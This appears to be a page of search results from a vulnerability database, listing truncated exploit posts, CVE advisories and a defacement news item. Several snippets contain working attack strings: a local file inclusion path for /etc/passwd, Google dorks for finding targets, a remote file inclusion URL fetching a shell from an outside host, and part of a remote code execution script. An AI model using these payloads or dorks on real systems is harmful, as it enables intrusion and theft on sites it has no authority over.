352 matches found
doop CMS <= 1.3.7 (page) Local File Inclusion Vulnerability
No description provided by source. | DOOP CMS =1.3.7 Local File Inclusion | || | vuln path: ?page=/../../../../../../../etc/passwd%00 | | | | dork: Doop CMS | | dork2: powered by Doop CMS | | | | work only if magicquotesgpc are set to OFF | || | vuln code: | | line 544: | | if !isset$REQUEST'page...
Vikingboard <= 0.2 Beta SQL Column Truncation Vulnerability
No description provided by source. --------------------------------------------------------------------- Vikingboard = 0.2 Beta SQL Column Truncation --------------------------------------------------------------------- Discovered By: StAkeR - StAkeRathotmaildotit Discovered On: 25/09/2008...
SoftBizScripts Dating Script SQL Injection Vunerability
No description provided by source. Exploit Title: SoftBizScripts Dating Script SQL Injection Vunerability Date: 29-4-2010 Author: 41.w4r10r Vendor Link : http://softbizscripts.com/ Version: Web Application Tested on: Apcahe/Unix CVE : if exists Dork : inurl:searchresults.php?browse=1 Code :...
Citadel Backconnect Server 1.3.5.1 Remote Code Execution vulnerability
start "backgroundexec" cbcs.exe listen -cp:faggot -bp:hacker | echo "" shell.php Usage Info Edit the code and run ! import urllib import urllib2 Citadel Backconnect Server 1.3.5.1 Remote Code Execution vulnerability Work only on windows box def requesturl, params=None, method='GET': if method ==...
php: paths with NULL character were considered valid
PHP before 5.3.4 accepts the \0 character in a pathname, which might allow context-dependent attackers to bypass intended access restrictions by placing a safe file extension after this character, as demonstrated by .php\0.jpg at the end of the argument to the fileexists function...
phpcms 2 0 0 7 onunload. inc. php page to an update-type implant is attached using the EXP-bug warning-the black bar safety net
Download a set of phpcms 2 0 0 7 analysis, in the module\movie\onunload. inc. php found a update type of injection. query"UPDATE ". TABLEMOVIESERVER." SET num = num-1 WHERE serverid = $serverid AND num 0 "; ? $serverid is not any filtering and also not enclosed in single quotation marks, so ignor...
DEBIAN-CVE-2011-4137
The verifyexists functionality in the URLField implementation in Django before 1.2.7 and 1.3.x before 1.3.1 relies on Python libraries that attempt access to an arbitrary URL with no timeout, which allows remote attackers to cause a denial of service resource consumption via a URL associated with...
DEBIAN-CVE-2011-4138
The verifyexists functionality in the URLField implementation in Django before 1.2.7 and 1.3.x before 1.3.1 originally tests a URL's validity through a HEAD request, but then uses a GET request for the new target URL in the case of a redirect, which might allow remote attackers to trigger arbitra...
PYSEC-2011-3
The verifyexists functionality in the URLField implementation in Django before 1.2.7 and 1.3.x before 1.3.1 originally tests a URL's validity through a HEAD request, but then uses a GET request for the new target URL in the case of a redirect, which might allow remote attackers to trigger arbitra...
CVE-2011-4137
The verifyexists functionality in the URLField implementation in Django before 1.2.7 and 1.3.x before 1.3.1 relies on Python libraries that attempt access to an arbitrary URL with no timeout, which allows remote attackers to cause a denial of service resource consumption via a URL associated with...
PT-2011-4855
Name of the Vulnerable Software and Affected Versions Django versions prior to 1.2.7 Django versions 1.3.x prior to 1.3.1 Description The issue is related to the verify exists functionality in the URLField implementation, which relies on Python libraries that attempt to access an arbitrary URL wi...
Ruubik CMS 1.1.0 Local File Inclusion
Exploit Title: Ruubikcms v 1.1.0 /extra/image.php Local File Inclusion Vulnerability Date: 2011/10/16 Author: Sangyun YOO Software Link: http://ruubikcms.com/ruubikcms/download.php?f=ruubikcms110.zip Version: Ruubikcms v 1.1.0 Tested on: Windows 7 Starter K ---------------------------------------...
Samba mtab lock file race condition
Multiple race conditions in the 1 mount.cifs and 2 umount.cifs programs in Samba 3.6 allow local users to cause a denial of service mounting outage via a SIGKILL signal during a time window when the /etc/mtab file exists...
AOL Postmaster Website hacked by HODLUM
AOL Postmaster Website hacked by HODLUM AOL'spostmaster.aol.com website was hacked Saturday afternoon by someone who goes by the name "HodLuM." The site was slightly defaced with a message from the hacker. "AOL S3RV3RZ ROOT3D BY HODLUM LOLZ!," the message read. AOL finally discovered the hack, an...
Joomla Component mod_spo SQL Injection Vulnerability
No description provided by source. Exploit Title: Simple Page Option LFI Google Dork: inurl:modspo Date: 15/07/2011 Author: SeguridadBlanca.Blogspot.com or SeguridadBlanca Software Link: http://joomlacode.org/gf/download/frsrelease/11841/47776/modspo1.5.16.zip Version: 1.5.x Tested on: Backtrack...
PT-2011-1233
Name of the Vulnerable Software and Affected Versions PHP versions prior to 5.3.4 Description The issue allows context-dependent attackers to bypass intended access restrictions. This can be achieved by placing a safe file extension after the 0 character in a pathname. For example, using .php0.jp...
1 6 2 1 0 0 Site Navigation 1. 9 local file inclusion vulnerability-vulnerability warning-the black bar safety net
Breaking app breaking vulnerability, but in order to encourage everyone to learn, or sent to. Reject malicious destruction! Program official: http://download.162100.com admin directory run.php the file part of the code is as follows: I find the Upload Directory editor/index.html Use the upload...
Storyteller CMS - var Local File Inclusion
Storyteller CMS - var Local File Inclusion == Title: Storyteller CMS var Local File Include Vuln Version: n/a Link: http://www.esselbach.com/freeware.php?id=2 == Author: BorN To K!LL - h4ck3r Contact: [email protected] == Vuln code: in GetTemplate function , line 113 to 127 function GetTemplate$v...
TELUS Security Labs VR - iSCSI target Multiple Implementations iSNS Stack Buffer Overflow
iSCSI target Multiple Implementations iSNS Stack Buffer Overflow TSL ID: FSC20100701-01 1. Affected Software iSCSI Enterprise Project iscsitarget 1.4.20.1 and prior SCST project iscsi-scst 1.0.1.1 and prior tgt project tgt 1.0.5 and prior References: http://iscsitarget.sourceforge.net/...
EZPX Photoblog 1.2 beta remote file inclusion vulnerability-vulnerability warning-the black bar safety net
EZPX Photoblog 1.2 beta commentform.php the page exists remote file include vulnerability EXP:http://127.0.0.1/system/application/views/public/commentform.php?tplbasedir=http://www.hacking.cn/shell.txt? Official website:...